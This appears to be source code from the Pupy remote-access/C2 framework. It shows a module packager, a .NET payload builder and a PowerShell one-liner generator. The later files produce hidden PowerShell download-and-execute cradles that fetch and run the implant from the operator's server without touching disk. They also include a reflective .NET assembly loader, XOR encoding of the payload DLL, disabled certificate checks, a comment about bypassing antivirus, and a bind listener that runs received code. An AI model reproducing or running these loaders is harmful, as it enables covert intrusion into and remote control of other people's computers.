        self.pymaj = int(self.pymaj)
        self.pymin = int(self.pymin)
        self._purepy = purepy

        if platform:
            self.os, self.arch = platform[:2]

            self.os = self.os.strip().lower()
            self.arch = self.arch.strip().lower()

            self._native = is_native(
                self.os, self.arch, python
            )

            sover = '{}.{}'.format(self.pymaj, self.pymin)
            if self.pymaj > 3:
                sover += 'm'
            self._so = 'libpython{}.so.1.0'.format(sover)
        else:
            self.os = None
            self.arch = None
            self._native = False

    @property
    def native(self):
        return self._native

    @property
    def purepy(self):
        return self._purepy

    @property
    def so(self):
        return self._so

    @property
    def pyver(self):
        return (self.pymaj, self.pymin)

    @property
    def platform(self):
        if self.os and self.arch:
            return (self.os, self.arch)
        else:
            return None

    @property
    def pyver_str(self):
        return '{}{}'.format(self.pymaj, self.pymin)

    def __repr__(self):
        if self.os and self.arch:
            platform = (self.os, self.arch)
        else:
            platform = None

        return 'Target(({}, {}), {}, {})'.format(
            repr(self.pymaj), repr(self.pymin),
            repr(platform), repr(self.debug)
        )


logger = getLogger('deps')

LIBS_AUTHORIZED_PATHS = [
    x for x in sys.path if x != ''
] + [
    os.path.join(ROOT, 'packages'),
    'packages'
]

PATCHES_PATHS = [
    os.path.abspath(os.path.join(getcwd(), 'packages', 'patches')),
    os.path.abspath(os.path.join(ROOT, 'packages', 'patches')),
    os.path.abspath(os.path.join(ROOT, 'library_patches_py3'))
]

# ../libs - for windows bundles, to use simple zip command
# site-packages/win32 - for pywin32
COMMON_SEARCH_PREFIXES = (
    '',
    'site-packages/win32/lib',
    'site-packages/win32',
    'site-packages/pywin32_system32',
    'site-packages',
    'lib-dynload'
)

COMMON_MODULE_ENDINGS = [
    '/', '.py', '.pyo', '.pyc', '.pyd', '.so', '.dll'
]

IGNORED_ENDINGS = (
    'tests', 'test', 'SelfTest', 'examples', 'demos', '__pycache__'
)

# dependencies to load for each modules
WELL_KNOWN_DEPS = {
    'pupyps': {
        'windows': ['pupwinutils.security']
    },
    'pupyutils.basic_cmds': {
        'windows': ['junctions', 'ntfs_streams'],
        'linux': ['xattr'],
        'all': [
            'pupyutils', 'scandir', 'zipfile',
            'tarfile', 'scandir', 'fsutils'
        ],
    },
    'dbus': {
        'linux': [
            '_dbus_bindings', 'pyexpat'
        ]
    },
    'sqlite3': {
        'all': ['_sqlite3'],
        'windows': ['sqlite3.dll'],
    },
    'xml': {
        'all': ['xml.etree']
    },
    'wql': {
        'windows': [
            'win32api', 'win32com', 'pythoncom',
            'winerror', 'wmi'
        ]
    },
    'secretstorage': {
        'linux': ['dbus']
    },
    'memorpy': {
        'windows': [
            'win32api',
            'win32security'
        ]
    },
    'scapy': {
        'windows': [
            'pythoncom',
        ]
    },
    'win32com': {
        'windows': [
            'pythoncom',
        ]
    },
    'pyaudio': {
        'all': [
            '_portaudio'
        ]
    },
    'OpenSSL': {
        'all': [
            'six',
            'enum',
            'cryptography',
            '_cffi_backend',
            'plistlib',
            'uu',
            'quopri',
            'pyparsing',
            'pkg_resources',
            'pprint',
            'ipaddress',
            'idna',
            'unicodedata',
        ]
    }
}

logger.debug('LIBS_AUTHORIZED_PATHS=%s', LIBS_AUTHORIZED_PATHS)


def remove_dt_needed(data, libname):
    ef = ELFFile(data)
    dyn = ef.get_section_by_name('.dynamic')

    ent_size = dyn.header.sh_entsize
    sect_size = dyn.header.sh_size
    sect_offt = dyn.header.sh_offset

    tag_idx = None

    for idx in xrange(sect_size // ent_size):
        tag = dyn.get_tag(idx)
        if tag['d_tag'] == 'DT_NEEDED':
            if tag.needed == libname:
                tag_idx = idx
                break

    if tag_idx is None:
        return False

    null_tag = b'\x00' * ent_size
    dynamic_tail = None

    if idx == 0:
        dynamic_tail = dyn.data()[ent_size:] + null_tag
    else:
        dyndata = dyn.data()
        dynamic_tail = dyndata[:ent_size*(idx)] + \
            dyndata[ent_size*(idx+1):] + null_tag

    data.seek(sect_offt)
    data.write(dynamic_tail)
    return True


def safe_file_exists(f):
    """ some file systems like vmhgfs are case insensitive and
        os.isdir() return True for "lAzAgNE", so we need this check for modules
        like LaZagne.py and lazagne gets well imported """
    return os.path.basename(f) in os.listdir(os.path.dirname(f))


def dict2code(d):
    """ convert a dict into its python code representation, that should be compatible with any python implementation """


def bootstrap(stdlib, config, autostart=True, purepy=False):
    if "pupy/agent/__init__.pyo" in stdlib:
        actions = [
            'from __future__ import absolute_import',
            'from __future__ import division',
            'from __future__ import print_function',
            'from __future__ import unicode_literals',

            'import importlib.util, sys, marshal',
        ]
        if purepy:
            actions += [
                'setattr(sys,"purepy",True)'
            ]
        else:
            actions += [
                'setattr(sys,"purepy",False)'
            ]
        actions += [
            'stdlib = marshal.loads({stdlib})',
            'config = marshal.loads({config})',
            'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)',
            'agent = importlib.util.module_from_spec(spec)',
            'agent.__file__ = str("pupy://pupy/agent/__init__.pyo")',
            'agent.__package__ = str("pupy.agent")',
            'agent.__path__ = [str("pupy://pupy/agent/")]',

            'exec(marshal.loads(stdlib["pupy/agent/__init__.pyo"][8:]), agent.__dict__)',
        ]

        if autostart:
            actions.append('agent.main(stdlib=stdlib, config=config)')
        else:
            actions.append('def main():')
            actions.append('    agent.main(stdlib=stdlib, config=config)')

        loader = '\n'.join(actions)

        return loader.format(
            stdlib=reprb(marshal.dumps(stdlib, 2)),
            config=reprb(marshal.dumps(config, 2))
        )
    else:
        # pure python version
        actions = [
            'from __future__ import absolute_import',
            'from __future__ import division',
            'from __future__ import print_function',
            'from __future__ import unicode_literals',

            'import importlib.util, sys',
        ]
        if purepy:
            actions += [
                'setattr(sys,"purepy",True)'
            ]
        else:
            actions += [
                'setattr(sys,"purepy",False)'
            ]

        actions +=[
            'stdlib = {stdlib}',
            'config = {config}',
            'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)',
            'agent = importlib.util.module_from_spec(spec)',
            'agent.__file__ = str("pupy://pupy/agent/__init__.py")',
            'agent.__package__ = str("pupy.agent")',
            'agent.__path__ = [str("pupy://pupy/agent/")]',

            'exec(stdlib["pupy/agent/__init__.py"].decode("utf8"), agent.__dict__)',
        ]

        if autostart:
            actions.append('agent.main(stdlib=stdlib, config=config)')
        else:
            actions.append('def main():')
            actions.append('    agent.main(stdlib=stdlib, config=config)')

        loader = '\n'.join(actions)

        return loader.format(
            stdlib=repr(stdlib),
            config=repr(config)
        )


def importer(
    target, dependencies, path=None,
        ignore_native=False, as_bundle=False, as_dict=False):

    if path:
        modules = {}
        if not type(dependencies) in (list, tuple, set, frozenset):
            dependencies = [dependencies]

        for dependency in dependencies:
            modules.update(from_path(target, path, dependency))

        if not as_dict:
            blob = pickle.dumps(modules, 2)
            blob = zlib.compress(blob, 9)
        else:
            blob = modules
    else:
        blob, modules, _ = package(
            target, dependencies,
            ignore_native=ignore_native, as_dict=as_dict
        )

    if as_bundle or as_dict:
        return blob
    else:
        return 'pupyimporter.pupy_add_package({}, compressed=True)'.format(
            reprb(blob))


def modify_native_content(target, filename, content):
    if not isinstance(content, bytes):
        return content

    if content.startswith(b'\x7fELF'):
        logger.info(
            'ELF file - %s, check for libpython DT_NEED record', filename
        )

        image = BytesIO(content)
        if remove_dt_needed(image, target.so):
            logger.info('Modified: DT_NEEDED %s removed', target.so)

        content = image.getvalue()

    return content


def get_py_encoding(content):
    lines = content[:1024].splitlines()
    if len(lines) < 1:
        return

    line = lines[0]
    if not (line.startswith(b'#') and b'coding:' in line):
        return

    idx = line.find(b'coding:') + 7
    end = line.find(b'-*-', idx)

    if end == -1:
        end = None

    coding = line[idx:end]
    return coding.decode('latin-1').strip()


def get_content(target, prefix, filepath, archive=None, honor_ignore=True):
    if filepath.startswith(prefix) and honor_ignore:
        basepath = filepath[len(prefix)+1:]
        basepath, ext = os.path.splitext(basepath)

        if ext in ('.pyo', 'py', '.pyc'):
            ext = '.py'

        basepath = basepath + ext

        arch_prefixes = ['all']
        if target.os:
            arch_prefixes.append(target.os)
            arch_prefixes.append(os.path.join(target.os, 'all'))

            if target.arch:
                arch_prefixes.append(os.path.join(target.os, target.arch))

        for patch_prefix in PATCHES_PATHS:
            if not os.path.isdir(patch_prefix):
                continue

            for arch_prefix in arch_prefixes:
                patch_dir = os.path.join(patch_prefix, arch_prefix)

                if not os.path.isdir(patch_dir):
                    continue

                maybe_patch = os.path.join(patch_dir, basepath)

                if os.path.exists(maybe_patch):
                    logger.info('Patch: %s -> %s', filepath, maybe_patch)
                    with open(maybe_patch, 'rb') as filedata:
                        return filedata.read()

                elif os.path.exists(maybe_patch+'.ignore'):
                    logger.info('Patch: Ignore %s', filepath)
                    raise IgnoreFileException()

                elif os.path.exists(maybe_patch+'.include'):
                    break

                else:
                    subpaths = basepath.split(os.path.sep)

                    for i in xrange(len(subpaths)):
                        ignore = [patch_dir] + subpaths[:i]
                        ignore.append('.ignore')
                        ignore = os.path.sep.join(ignore)
                        if os.path.exists(ignore):
                            logger.info(
                                'Patch: Ignore %s (%s)', filepath, ignore
                            )
                            raise IgnoreFileException()

    content = None

    if archive:
        content = archive.read(filepath)
    else:
        with open(filepath, 'rb') as filedata:
            content = filedata.read()

    if not target.native:
        content = modify_native_content(target, filepath, content)


    return content


def from_path(
    target, search_path, start_path,
        remote=False, pure_python_only=False,
        honor_ignore=True, ignore_native=False):

    query = start_path

    modules_dic = {}

    if os.path.sep not in start_path:
        start_path = start_path.replace('.', os.path.sep)

    module_path = os.path.join(search_path, start_path)

    if remote:
        if '..' in module_path or not module_path.startswith(
                tuple(LIBS_AUTHORIZED_PATHS)):
            raise UnsafePathError(
                'Attempt to retrieve lib from unsafe '
                'path: {} (query={})'.format(
                    module_path, query
                )
            )

    # loading a real package with multiple files
    if os.path.isdir(module_path) and safe_file_exists(module_path):
        for root, dirs, files in os.walk(module_path, followlinks=True):
            for f in files:
                if root.endswith(IGNORED_ENDINGS) or f.startswith('.#'):
                    continue

                if f.endswith(('.so', '.pyd', '.dll')):
                    if pure_python_only:
                        if ignore_native:
                            continue

                        # avoid loosing shells when looking for packages in
                        # sys.path and unfortunatelly pushing a .so ELF on a
                        # remote windows
                        raise BinaryObjectError(
                            'Path contains binary objects: {} '
                            '(query={})'.format(f, query)
                        )

                if not f.endswith((
                        '.so', '.pyd', '.dll', '.pyo', '.pyc', '.py')):
                    continue

                try:
                    module_code = get_content(
                        target,
                        search_path,
                        os.path.join(root, f),
                        honor_ignore=honor_ignore
                    )
                except IgnoreFileException:
                    continue

                modprefix = root[len(search_path.rstrip(os.sep))+1:]
                modpath = os.path.join(modprefix, f).replace('\\', '/')

                modpath=rename_cext_path(target, modpath)
                base, ext = modpath.rsplit('.', 1)

                # Garbage removing
                if target.purepy:
                    if ext == 'py':
                        modpath = base+'.py'
                        if module_code is not None:
                            modules_dic[modpath] = module_code
                else:
                    if ext == 'py':
                        try:
                            module_code = pupycompile(
                                module_code, modpath, target=target.pyver
                            )
                            modpath = base+'.pyo'
                            if base+'.pyc' in modules_dic:
                                del modules_dic[base+'.pyc']
                        except Exception as e:
                            logger.error('Failed to compile %s: %s', modpath, e)

                    elif ext == 'pyc':
                        if base+'.pyo' in modules_dic:
                            continue
                    elif ext == 'pyo':
                        if base+'.pyo' in modules_dic:
                            continue
                        if base+'.pyc' in modules_dic:
                            del modules_dic[base+'.pyc']

                    # Special case with pyd loaders
                    elif ext == 'pyd':
                        if base+'.py' in modules_dic:
                            del modules_dic[base+'.py']

                        if base+'.pyc' in modules_dic:
                            del modules_dic[base+'.pyc']

                        if base+'.pyo' in modules_dic:
                            del modules_dic[base+'.pyo']

                    if module_code is not None:
                        modules_dic[modpath] = module_code

    else:
        extlist = ['.py', '.pyo', '.pyc']
        if not pure_python_only:
            extlist.extend(('.so', '.pyd'))

            if target.pymaj == 2:
                extlist.append('27.dll')

        for ext in extlist:
            filepath = os.path.join(module_path+ext)
            if os.path.isfile(filepath) and safe_file_exists(filepath):
                try:
                    module_code = get_content(
                        target,
                        search_path,
                        filepath,
                        honor_ignore=honor_ignore,
                    )
                except IgnoreFileException:
                    break

                cur = ''
                for rep in start_path.split('/')[:-1]:
                    if cur + rep + ' /__init__.py' not in modules_dic:
                        modules_dic[rep+'/__init__.py'] = ''
                    cur += rep + '/'

                if ext == '.py':
                    if target.purepy:
                        ext = '.py'
                    else:
                        module_code = pupycompile(
                            module_code, start_path+ext, target=target.pyver
                        )
                        ext = '.pyo'

                modules_dic[start_path+ext] = module_code

                break

    return modules_dic


def paths(target):
    """
    return the list of path to search packages for depending
    on client OS and architecture
    """

    posix = target.os != 'windows'

    path = [
        os.path.join('packages', target.os),
        os.path.abspath(os.path.join(ROOT, 'library_patches_py3'))
    ]

    if target.arch:
        path = path + [
            os.path.join(p, target.arch) for p in path
        ]

    if posix:
        path.append(
            os.path.join('packages', 'posix')
        )

    path = path + [
        os.path.join(p, 'all') for p in path
    ]

    path.append(os.path.join('packages', 'all'))

    path = path + [
        os.path.join(ROOT, p) for p in path
    ]

    return [
        x for x in path if os.path.isdir(x)
    ]


def _dependencies(target, module_name, dependencies):
    if module_name in dependencies:
        return

    if target.pymaj == 2 and target.os == 'windows' and \
            module_name in ('pythoncom', 'pywintypes', 'pythoncomloader'):
        dependencies.add(module_name + '27.dll')

    dependencies.add(module_name)

    mod_deps = WELL_KNOWN_DEPS.get(module_name, {})

    for dependency in mod_deps.get('all', []) + mod_deps.get(target.os, []):
        _dependencies(target, dependency, dependencies)

def rename_cext_path(target, path):
    removed_endings=[]
    if same_as_local_arch(target.os, target.arch) and sys.platform.lower()=="linux":
        removed_endings.append(".abi"+str(sys.version_info[0])+".so")
    elif same_as_local_arch(target.os, target.arch) and sys.platform.lower()=="win32":
        removed_endings.append(".abi"+str(sys.version_info[0])+".pyd")

    tarch = target.arch
    # this will only work for x86_64 linux C2 server, TODO: handle other servers ?
    if tarch=="amd64":
        tarch="x86_64"
    removed_endings.append(f".cpython-{target.pymaj}{target.pymin}-{tarch}-{target.os}-gnu.so")
    for ending in removed_endings:
        if path.endswith(ending):
            base, ext= path.rsplit(".", 1)
            path = path[:len(path)-len(ending)]+"."+ext
            logger.debug("renamed cextension ending to %s", path)
            return path
    return path

def _package(
    target, modules, module_name, remote=False,
        honor_ignore=True, ignore_native=False):

    initial_module_name = module_name

    start_path = module_name.replace('.', os.path.sep)

    for search_path in paths(target):
        modules_dic = from_path(
            target, search_path, start_path,
            remote=remote, honor_ignore=honor_ignore
        )

        if modules_dic:
            break

    if not modules_dic:
        archive = bundle(target)
        if archive:
            modules_dic = {}

            endings = COMMON_MODULE_ENDINGS
            tarch = target.arch
            # this will only work for x86_64 linux C2 server, TODO: handle other servers ?
            if tarch=="amd64":
                tarch="x86_64"
            endings.append(f".cpython-{target.pymaj}{target.pymin}-{tarch}-{target.os}-gnu.so")

            start_paths = tuple([
                (
                    '/'.join([x, start_path])
                ).strip('/') + y
                for x in COMMON_SEARCH_PREFIXES
                for y in endings
            ])

            for info in archive.infolist():
                content = None
                if info.filename.startswith(start_paths):
                    module_name = info.filename

                    for prefix in COMMON_SEARCH_PREFIXES:
                        if module_name.startswith(prefix + '/'):
                            module_name = module_name[len(prefix)+1:]
                            break

                    try:
                        base, ext = module_name.rsplit('.', 1)
                    except:
                        continue

                    # Garbage removing
                    if target.purepy:
                        if ext == "py":
                            try:
                                content = get_content(
                                        target, prefix,
                                        info.filename, archive,
                                        honor_ignore=honor_ignore
                                    )
                            except IgnoreFileException:
                                continue
                    elif ext == 'py':
                        try:
                            content = pupycompile(
                                get_content(
                                    target, prefix,
                                    info.filename, archive,
                                    honor_ignore=honor_ignore
                                ),
                                info.filename,
                                target=target.pyver
                            )

                            ext = 'pyo'

                            if base+'.py' in modules_dic:
                                del modules_dic[base+'.py']

                            if base+'.pyc' in modules_dic:
                                del modules_dic[base+'.pyc']

                        except IgnoreFileException:
                            continue

                    elif ext == 'pyc':
                        if base+'.py' in modules_dic:
                            del modules_dic[base+'.py']

                        if base+'.pyo' in modules_dic:
                            continue
                    elif ext == 'pyo':
                        if base+'.py' in modules_dic:
                            del modules_dic[base+'.py']

                        if base+'.pyc' in modules_dic:
                            del modules_dic[base+'.pyc']

                        if base+'.pyo' in modules_dic:
                            continue
                    # Special case with pyd loaders
                    elif ext == 'pyd':
                        if base+'.py' in modules_dic:
                            del modules_dic[base+'.py']

                        if base+'.pyc' in modules_dic:
                            del modules_dic[base+'.pyc']

                        if base+'.pyo' in modules_dic:
                            del modules_dic[base+'.pyo']

                    if not content:
                        try:
                            content = get_content(
                                target, prefix,
                                info.filename, archive,
                                honor_ignore=honor_ignore
                            )
                        except IgnoreFileException:
                            continue
                    fpath = base+'.'+ext
                    fpath=rename_cext_path(target, fpath)
                    if content:
                        modules_dic[fpath] = content

            archive.close()

    # in last resort, attempt to load the package from the
    # server's sys.path if it exists

    if target.pymaj == sys.version_info[0]:
        if not modules_dic:
            for search_path in sys.path:
                try:
                    pure_python_only = True
                    if same_as_local_arch(target.os, target.arch):
                        pure_python_only = False
                    modules_dic = from_path(
                        target, search_path, start_path,
                        pure_python_only=pure_python_only, ignore_native=ignore_native,
                        remote=remote
                    )

                    if modules_dic:
                        logger.info(
                            'package %s not found in packages/, but found in'
                            'local sys.path attempting to push it remotely',
                            initial_module_name
                        )
                        break

                except BinaryObjectError as e:
                    logger.warning(e)

                except UnsafePathError as e:
                    logger.error(e)

    if not modules_dic:
        raise NotFoundError(module_name)

    modules.update(modules_dic)


def package(
    target, requirements, remote=False, filter_needed_cb=None,
        honor_ignore=True, ignore_native=False, as_dict=False):

    dependencies = set()

    if not type(requirements) in (list, tuple, set, frozenset):
        requirements = [requirements]

    for requirement in requirements:
        _dependencies(target, requirement, dependencies)

    package_deps = set()
    dll_deps = set()

    for dependency in dependencies:
        if dependency.endswith(('.so', '.dll')):
            dll_deps.add(dependency)
        else:
            package_deps.add(dependency)

    if filter_needed_cb:
        if package_deps:
            package_deps = filter_needed_cb(package_deps, False)

        if dll_deps:
            dll_deps = filter_needed_cb(dll_deps, True)

    payload = b''
    contents = []
    dlls = []

    if package_deps:
        modules = {}

        for dependency in package_deps:
            _package(
                target, modules, dependency,
                remote=remote, honor_ignore=honor_ignore,
                ignore_native=ignore_native
            )
        add_missing_init(target, modules)
        if not as_dict:
            payload = zlib.compress(
                pickle.dumps(modules, 2), 9
            )
        else:
            payload = modules

        contents = list(dependencies)

    if dll_deps:
        for dependency in dll_deps:
            dlls.append((dependency, dll(target, dependency)))

    return payload, contents, dlls

def add_missing_init(target, modules):
    toadd={}
    for k in modules.keys():
        tab=k.split("/")
        for i in range(1, len(tab)-1):
            pathname="/".join(tab[0:i])
            if not target.purepy:
                f=pathname+"/__init__.pyo"
                if f not in modules and f not in toadd and f[:-1] not in modules:
                    logger.debug("adding missing {}".format(f))
                    toadd[f] = pupycompile("", pathname, target=target.pyver)
            else:
                f=pathname+"/__init__.py"
                if f not in modules and f not in toadd:
                    logger.debug("adding missing {}".format(f))
                    toadd[f] = b""

    modules.update(toadd)

def bundle(target):
    if not target.os or not target.arch:
        return None

    bundle_name = '{}-{}-{}{}.zip'.format(
        target.os, target.arch, target.pymaj, target.pymin
    )

    arch_bundle = os.path.join(
        'payload_templates', bundle_name
    )

    if not os.path.isfile(arch_bundle):
        arch_bundle = os.path.join(
            ROOT, 'payload_templates', bundle_name
        )

    if not os.path.exists(arch_bundle):
        return None
    return ZipFile(arch_bundle, 'r')


def dll(target, name, honor_ignore=True):
    buf = b''

    for packages_path in paths(target):
        dll_path = os.path.join(packages_path, name)
        if os.path.exists(dll_path):
            try:
                buf = get_content(
                    target, name, dll_path,
                    honor_ignore=honor_ignore
                )
            except IgnoreFileException:
                pass

            break

    if not buf:
        archive = bundle(target)
        if archive:
            for info in archive.infolist():
                if info.filename.endswith('/'+name) or info.filename == name:
                    try:
                        buf = get_content(
                            target, os.path.dirname(info.filename),
                            info.filename,
                            archive,
                            honor_ignore=honor_ignore
                        )
                    except IgnoreFileException:
                        pass

                    break

            archive.close()

    if not buf:
        raise NotFoundError(name)

    return buf


================================================
FILE: pupy/pupylib/payloads/dotnet.py
================================================
# -*- coding: utf-8 -*-
# Author: @n1nj4sec
# Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import subprocess
import tempfile
import random

from io import open
from string import ascii_uppercase, ascii_lowercase
from os.path import join, splitext, isfile
from base64 import b64encode

from pupy.pupylib.PupyOutput import Success, Error, List
from pupy.pupylib import ROOT

from pupy.network.lib.convcompat import shlex

TEMPLATE = join(ROOT, 'payload_templates', 'PupyLoaderTemplate.cs')

PS_TEMPLATE = \
  "[Reflection.Assembly]::Load(" \
  "(new-object net.webclient).DownloadData(" \
  "'http://{link_ip}:{port}{landing_uri}')).GetTypes()[0].GetMethods(" \
  ")[0].Invoke($null,@())"


class DotNetPayload(object):
    def __init__(
        self, display, server, conf,
            rawdll, outpath=None, output_dir=None):

        self.server = server
        self.display = display
        self.conf = conf
        self.outpath = outpath
        self.output_dir = output_dir
        self.rawdll = rawdll

    def gen_source(self, random_path=False):
        with open(TEMPLATE, 'r') as f:
            template_source = f.read()

        self.display(Success('packing pupy into C# source ...'))

        encoded = '{' + ','.join(
            str(c ^ 0xFF) for c in self.rawdll
        ) + '}'

        content = template_source.replace('<PUPYx64_BYTES>', encoded)

        if not self.outpath or random_path:
            outfile = tempfile.NamedTemporaryFile(
                dir=self.output_dir or '.',
                prefix='pupy_',
                suffix='.cs',
                delete=False,
                mode='w'
            )
        else:
            outpath_src, _ = splitext(self.outpath) + '.cs'
            outfile = open(outpath_src, 'w')

        outfile.write(content)
        outfile.close()
        return outfile.name

    def gen_exe(self, options=''):
        sourcepath = self.gen_source(random_path=True)

        if not self.outpath:
            outfile = os.path.join(
                self.output_dir or '.', 'pupy_'+''.join(
                    random.choice(
                        ascii_uppercase + ascii_lowercase) for _ in range(8)
                ) + '.exe'
            )
        else:
            outfile = self.outpath

        try:
            command = ['mcs']

            if self.server:
                config = self.server.config
            else:
                from pupy.pupylib import PupyConfig
                config = PupyConfig()

            sdk = config.get('gen', 'mcs_sdk', fallback=4)
            options = ' '.join([
                options,
                config.get('gen', 'mcs_options', fallback='') or ''
            ])

            if options:
                command.extend(shlex.split(options))

            if not self.conf.get('debug', False):
                if '-target:' not in options:
                    command.append('-target:winexe')

                if '-debug' not in options:
                    command.append('-debug-')

                if '-optimize' not in options:
                    command.append('-optimize+')

            command.extend([
                '-unsafe',
                '-noconfig',
                '-sdk:' + sdk,
                '-OUT:' + outfile,
                sourcepath
            ])

            self.display(
                Success('compiling via mono command: {}'.format(
                    ' '.join(command))
                )
            )

            try:
                output = subprocess.check_output(command).strip()
                if output:
                    self.display(output)

            except subprocess.CalledProcessError as e:
                self.display(
                    Error(
                        'Mono compilation failed: {}'.format(e.output)
                    )
                )

                return None

            except OSError:
                self.display(
                    Error(
                        'mcs compiler can\'t be found. '
                        'install mono-mcs package'
                    )
                )

                return None

        finally:
            os.unlink(sourcepath)

        return outfile


def dotnet_serve_payload(display, server, rawdll, conf, link_ip=None):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.web_handler_enabled:
        display(Error('Webserver handlers disabled'))
        return

    dn = DotNetPayload(display, server, conf, rawdll)
    exe_path = dn.gen_exe(options='-target:library')

    if not exe_path or not isfile(exe_path):
        display(Error('Build failed'))
        return

    with open(exe_path, 'rb') as r:
        payload = r.read()

    os.unlink(exe_path)

    landing_uri = server.serve_content(payload, alias='.NET payload')

    if link_ip is None:
        link_ip = server.address

    command = PS_TEMPLATE.format(
        link_ip=link_ip,
        port=server.web_handler_port,
        landing_uri=landing_uri
    ).encode('utf-16le')

    display(List([
        'powershell -w hidden -enc "{}"'.format(
            b64encode(command).decode('latin-1')),
    ], caption=Success(
        'Copy/paste this one-line loader to deploy pupy '
        'without writing on the disk'))
    )


================================================
FILE: pupy/pupylib/payloads/ps1_oneliner.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from base64 import b64encode
from time import sleep

import sys
from pupy.cli import pupygen
import socket
import errno

from pupy.pupylib.PupyOutput import List, Success, Warn, Error


CONNECTION_RETRY_SLEEP_TIME = 3

if sys.version_info.major > 2:
    xrange = range


def serve_ps1_payload(
    display, server, conf, link_ip=None,
        useTargetProxy=False, nothidden=False):

    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.web_handler_enabled:
        display(Error('Webserver disabled'))
        return

    if link_ip is None:
        link_ip = server.address

    stage_encoding = \
        "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString(" \
        "[System.Convert]::FromBase64String($data));$data='';iex $code;"

    payload_url_x86 = server.serve_content(
        stage_encoding.format(
            b64encode(
                pupygen.generate_ps1(
                    display, conf, x86=True, as_str=True,
                    debug=conf.get('debug', False)
                )
            )
        ),
        alias='ps1 payload [x86]'
    )

    payload_url_x64 = server.serve_content(
        stage_encoding.format(
            b64encode(pupygen.generate_ps1(
                display, conf, x64=True, as_str=True, debug=conf.get('debug', False)))),
        alias='ps1 payload [x64]')

    protocol = 'http'
    ssl_cert_validation = ''
    not_use_target_proxy = ''
    hidden = '-w hidden '

    if nothidden:
        hidden = ''

    if server.pupweb and server.pupweb.ssl:
        protocol = 'https'
        ssl_cert_validation = '[System.Net.ServicePointManager]::'\
          'ServerCertificateValidationCallback={$true};'

    if not useTargetProxy:
        not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\
          '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

    powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\
      "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');"

    repls = {
        '[NOT_USE_TARGET_PROXY]': not_use_target_proxy,
        '[SSL_CERT_VALIDATION]': ssl_cert_validation,
        '[PROTOCOL]': protocol,
        '[LINK_IP]': '%s' % link_ip,
        '[LINK_PORT]': '%s' % server.web_handler_port,
    }

    for k,v in repls.items():
        powershell = powershell.replace(k, v)

    launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64)
    launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86)

    # Compute stage1 to gain time response
    ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}"

    # For bypassing AV
    stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String('{0}'));iex $code;".format(
          b64encode(ps_template_stage1.format(launcher_x64, launcher_x86)))

    landing_uri = server.serve_content(stage1, alias='ps1 payload loader')

    launcher            = powershell.replace('[RANDOM]', landing_uri)
    basic_launcher      = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden)
    oneliner            = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner    = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(List([
        oneliner,
        encoded_oneliner
    ], caption=Success(
        'Copy/paste one of these one-line loader to deploy '
        'pupy without writing on the disk:'))
    )

    display(Warn(
        'Please note that even if the target\'s system uses a proxy, '
        'this previous powershell command will not use the '
        'proxy for downloading pupy')
    )


def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = \
        '$l=[System.Net.Sockets.TcpListener][BIND_PORT];' \
        '$l.start();' \
        '$c=$l.AcceptTcpClient();' \
        '$t=$c.GetStream();' \
        '[byte[]]$b=0..4096|%{0};' \
        '$t.Read($b, 0, 4);' \
        '$c="";' \
        'if ($Env:PROCESSOR_ARCHITECTURE -eq \'AMD64\'){' \
        '$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);' \
        '} else {' \
        '$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);' \
        '}' \
        'while(($i=$t.Read($b,0,$b.Length)) -ne 0) {' \
        '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(' \
        '$b,0,$i);' \
        '$c=$c+$d;' \
        '}' \
        '$t.Close();' \
        '$l.stop();' \
        'iex $c;'

    main_ps1_template = \
        '$c=[System.Text.Encoding]::UTF8.GetString(' \
        '[System.Convert]::FromBase64String(\'{0}\'));' \
        'iex $c;'

    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = 'powershell.exe [HIDDEN]-noni -nop [CMD]'.replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ], caption=Success(
            'Copy/paste one of these one-line loader to '
            'deploy pupy without writing on the disk'))
    )

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = None

    for _ in xrange(10):
        try:
            s = socket.create_connection((target_ip, int(bind_port)))
            break

        except socket.error as e:
            if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT):
                display(Error('Connection failed: {}'.format(e)))
                return

            sleep(CONNECTION_RETRY_SLEEP_TIME)

    if s is None:
        display(Error('Connection failed'))
        return

    s.settimeout(30)
    s.sendall('\n')

    display(Success('Receiving target architecure...'))

    version = s.recv(1024)
    ps1_encoded = None

    if version == '2':
        display(Success('Target architecture: x64'))
        output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x64))
    else:
        display(Success('Target architecture: x86'))
